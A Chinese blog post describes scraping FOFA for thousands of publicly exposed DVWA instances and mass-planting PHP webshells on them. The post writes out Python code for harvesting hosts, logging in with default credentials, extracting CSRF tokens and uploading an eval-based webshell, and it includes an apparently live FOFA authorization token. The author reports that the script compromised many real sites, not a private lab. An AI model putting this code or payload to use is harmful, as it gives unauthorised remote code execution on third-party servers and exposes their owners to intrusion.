一个平常的下午,南辰geigei突然来了句fofa上dvwa外网靶场好多靶子打开fofa搜索了一下dvwa两千多条,好家伙正好玩一下。
直接开干好吧。
首先定位到dvwa的title信息,
从里面的各个title信息我这边定位到了Login :: Damn Vulnerable Web
Application (DVWA)这个title信息
基本上都是dvwa的靶场了
nice!!!
思考下这边的攻击思路,首先是要爬取fofa上的主机的ip信息,然后使用得到的ip请求相应的登陆界面并传送用户名与密码,dvwa默认的登陆名和密码分别的:admin@password response返回获取的dvwa的session信息,并且把session的cookie值嵌入到请求中访问文件上传模块,上传时确定服务器防护的级别为low,上传成功后在对应的txt文件中输出网站的上传成功路径。
这边因为使用的文件上传为low级别,所以直接一句话就ok。
<?php @eval($_POST(‘hacker’))>
普通会员只有100条api,算了直接python爬虫吧,直接拿request读取,开始测试。
查看url:
https://fofa.so/result?qbase64=IkxvZ2luIDo6IERhbW4gVnVsbmVyYWJsZSBXZWIgQXBwbGljYXRpb24gKERWV0EpIg%3D%3D
get请求参数qbase64是搜索信息的编码参数,使用的get请求,但是数据没传过来,那一定是使用了ajax,服务器发送的json数据,f12查看网络流量。
只有一个stats是可疑流量,但查看流量中并没有传输什么ip信息。
继续换bp查看流量。
没有发现什么传输流量。点击第二页发现一个可疑流量
这个流量没有出现在第一页中,但是数据中有些返回给js的状态信息,查看get请求url有q、qbase、full、pn、ps,q参数传输搜索信息,qbase64传送加密信息,full传输一个暂且不知道什么的状态,pn值为2可以初步判断一下可能是页数信息,改变pn值为1,可以看到返回了ip等站点信息。
所以之前pn为2时返回状态信息是因为我没有登录,这边没有cookie存的session参数,测试登录后流量信息。
对比两次流量
发现登录后Authorization:参数多了些值(session信息已经修改过了),此参数就是后台过滤器用于判断登录的参数。
编写脚本,首先一千台机子需要请求120页,先外部循环120次,请求完后还有一个10次的小循环用于拿到一个ip对这个IP中站的上传php文件。
页数大循环我用到变量k,小循环用到变量i,
先确定header头信息,确定url并请求fofa获取第一页信息。
```
header={
'Host': 'api.fofa.so',
'Authorization': 'AuNTc5ODY2MiwiaXNzIjoicmVmcmVzaCJ9.bAPCFxJCuXAK26UpqPZXBj3b8lGVgKW-1ue76K_SeoOwEv_4C8qEoBa0hr3g8hMjlhIApSaaIMNyLgVs3G5S1w',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
'Origin': 'https://fofa.so',
'Referer': 'https://fofa.so/',
}
uuurl="https://api.fofa.so/v1/search?q=%22Login+::+Damn+Vulnerable+Web+Application+(DVWA)%22&qbase64=IkxvZ2luIDo6IERhbW4gVnVsbmVyYWJsZSBXZWIgQXBwbGljYXRpb24gKERWV0EpIg%3D%3D&full=false&pn="+str(k)+"&ps=10"
req_fofa=requests.request("get",uuurl,headers=header)
data=json.loads(req_fofa.text)
```
获取成功后抓取json中的IP信息
data=json.loads(req_fofa.text)
url=data["data"]["assets"][i]["link"]
host=data["data"]["assets"][i]["host"]
这块加载了json的第三方库中反序列化的函数。
确定主机的ip信息后再次发起登录请求,登录后获取后端session信息,并将session信息存放到header头中
```
dats={
'host':host,
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
req_dvwa=requests.get(url_1,headers=dats,proxies=proxies,verify=False)
sess_login=req_dvwa.headers['Set-Cookie']
```
站点为了防止爆破用到了token信息,所以请求获取后还需要把token信息提取出来放入到下一次的请求中。
从截图中可以看到一个隐藏的input标签,里面存放了token的值。
```
element=etree.HTML(req_dvwa.text)
user_token=element.xpath('//input[@name="user_token"]/@value')
uesrname="admin"
password="password"
ss=sess_login.split(";")
sessi=ss[0]+"; security=low"
dat={
"username":uesrname,
'password':password,
'Login':'Login',
'user_token':user_token,
}
header={
'host':host,
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Cookie': sessi
}
```
构造post的请求体与请求头,放入session值和cookies值,确定dvwa靶场的级别为low,发送请求。
构造了登录request后后台就有了session,确定了session后使用原cookie中的session值来登录到指定页面就不会有filter拦截了。
确定文件上传的上传点:http://www.fortinetdemo.es/vulnerabilities/upload/
观察请求过程中请求体与header头信息
可以看到请求体中使用的类型是multipart/form-data
multipart/form-data类型的数据类型需要直接使用data构造整个的请求体并提交,这里需要注意在构造过程中需要严格遵循传输标准,所以我们直接在wireshark中抓包,并确保包内数据格式的一致性,否则请求会失败。
一定确保相同,否则协议不识别,并且header头中的content-type信息中的标志为一定要确保和body中的标志位相同,否则也会失败,但是这个标志位并不代表什么所以可以随意输入。
```
url_upload=url+"/vulnerabilities/upload/"
header_upload={
'host':host,
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Content-Type': "multipart/form-data; boundary=---------------------------380841232718531187731045200264",
'Cookie': sessi,
}
datt='-----------------------------380841232718531187731045200264rn
Content-Disposition: form-data; name="uploaded"; filename="hh.php"rn
Content-Type: application/octet-streamrn
rn
<?php @eval($_POST["bb"]); ?>rn
-----------------------------380841232718531187731045200264rn
Content-Disposition: form-data; name="Upload"rn
rn
Uploadrn
-----------------------------380841232718531187731045200264--'
```
构造请求头信息,body使用request的post函数上传。
```
suss=rs.xpath('//div[@class="vulnerable_code_area"]/pre/text()')
if(suss[0]!=None):
uri=url+"/hackable/uploads/hh.php"+"n"
oop.write(uri)
print("sussess")
```
读取请求返回中的信息,确定是否成功,并将成功后的信息保存在文件中。
最后需要使用try,catch保证整个程序的健壮性。
因为fofa上还有许多站是在国外,被防火墙挡了,所以我们需要在python中挂代理去请求。
```
proxy = 'localhost:7890'
proxies = {
"http": "http://%(proxy)s/" % {'proxy': proxy},
"https": "http://%(proxy)s/" % {'proxy': proxy}
}
```
这边我使用的是一款vpn,确定好vpn转发的端口后在请求中加入proxies=
req_dvwa=requests.get(url_1,headers=dats,proxies=proxies,verify=False)
到这里基本结束了,最后脚本跑下了不少站。
前言 之前看到【漏洞通报】ThinkPHP3.2.x RCE漏洞通报只是粗略的看了下漏洞原理,看了就等于自己会了吗? 本着要对这个漏洞负责的态度,当然要实际操作一下。 漏洞概述 在受影响的 ThinkPHP 版本中,如果业务代码中存在模板赋值方法 assign…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论